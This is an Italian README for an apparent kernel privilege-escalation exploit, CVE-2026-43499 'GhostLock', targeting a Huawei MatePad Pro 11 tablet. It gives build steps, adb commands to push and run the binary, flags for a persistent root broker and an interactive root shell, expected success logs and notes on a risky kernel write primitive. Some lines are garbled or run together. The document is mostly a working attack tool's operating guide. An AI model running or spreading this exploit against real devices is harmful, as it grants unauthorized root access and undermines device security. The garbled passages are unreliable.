
Ricerca su CVE-2026-43499 (GhostLock) per HUAWEI MatePad Pro 11 GOT-W29
Adattamento per l'escalation di privilegi CVE-2026-43499 su HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, kernel 4.19.157-perf+).
Stato attuale:
u:r:shell:s0@gl_surandom/uuid separata, senza modificare boot_id e il nodo ashmemu:r:kernel:s0 + full caps) ancora TODOPer il principio completo, gli offset, le modalità di errore e la cronologia, vedere TECHNICAL.md.
cd exploit/ghostlock-source
make -j3
Artefatti:
exploit/ghostlock-source/build/bin/ghostlock_exe
La macchina attuale utilizza NDK sysroot + host clang per la compilazione incrociata, vedere exploit/ghostlock-source/TOOLCHAIN.md.
Avvio su dispositivo reale
adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe
Avviare il broker del percorso A:
adb shell /data/local/tmp/ghostlock_exe \
--su-server --simple-root --fake-lock-window \
--detach --probe-cycle --no-rt --attempts 1 \
--leak-timeout 60 --fsync \
--log-file /sdcard/ghostlock-su.log
In caso di successo il log contiene:
simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su
Eseguire da un'altra adb shell:
adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'il tuo comando'
La shell root interattiva deve usare -t:
adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell
broker assegna al shell un vero terminale di controllo, quindi tty dovrebbe mostrare /dev/pts/N,
Ctrl-C, i tasti freccia, jobs e il passaggio tra primo piano e sfondo funzionano tutti correttamente.
--fake-lock-window e --detach sono i parametri chiave per un'esecuzione sicura sul dispositivo reale.--hold; non terminare direttamente con kill -9 un worker che ha già consumato un waiter pendente.--attempts 1.--verify-write, --verify-read, --verify-all sono autotest della primitiva di scrittura su boot_id,
corrompono gli 8 byte alti di boot_id e devono essere eseguiti solo su QEMU o accettando esplicitamente il rischio.--escalate al posto del percorso A; è riservato alla ricerca sul percorso B e presenta rischi legati al ciclo di vita delle cred.cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'
Per i dettagli su QEMU vedere tools/qemu-test/README.md.
TODO percorso B
Obiettivo: ottenere u:r:kernel:s0 e le capability complete.
Da risolvere:
--simple-root escalazione del percorso A
--su-server avvia il broker root
--rsh CMD esegue un singolo comando
--rsh-shell shell interattiva PTY completa
--fake-lock-window usa un fake lock privato nello stack (consigliato su dispositivo reale)
--detach mantiene in vita permanentemente il worker che ha consumato il waiter
--probe-cycle modalità di attivazione EDEADLK stabile sull'attuale kernel
--no-rt evita che i waiter RT affamino i CFS
--attempts 1 nessun nuovo tentativo in caso di fallimento sul dispositivo reale
--log-file PATH log persistente
--fsync scrittura su disco del final-result
--help elenca tutti i parametri di autotest e di ricerca.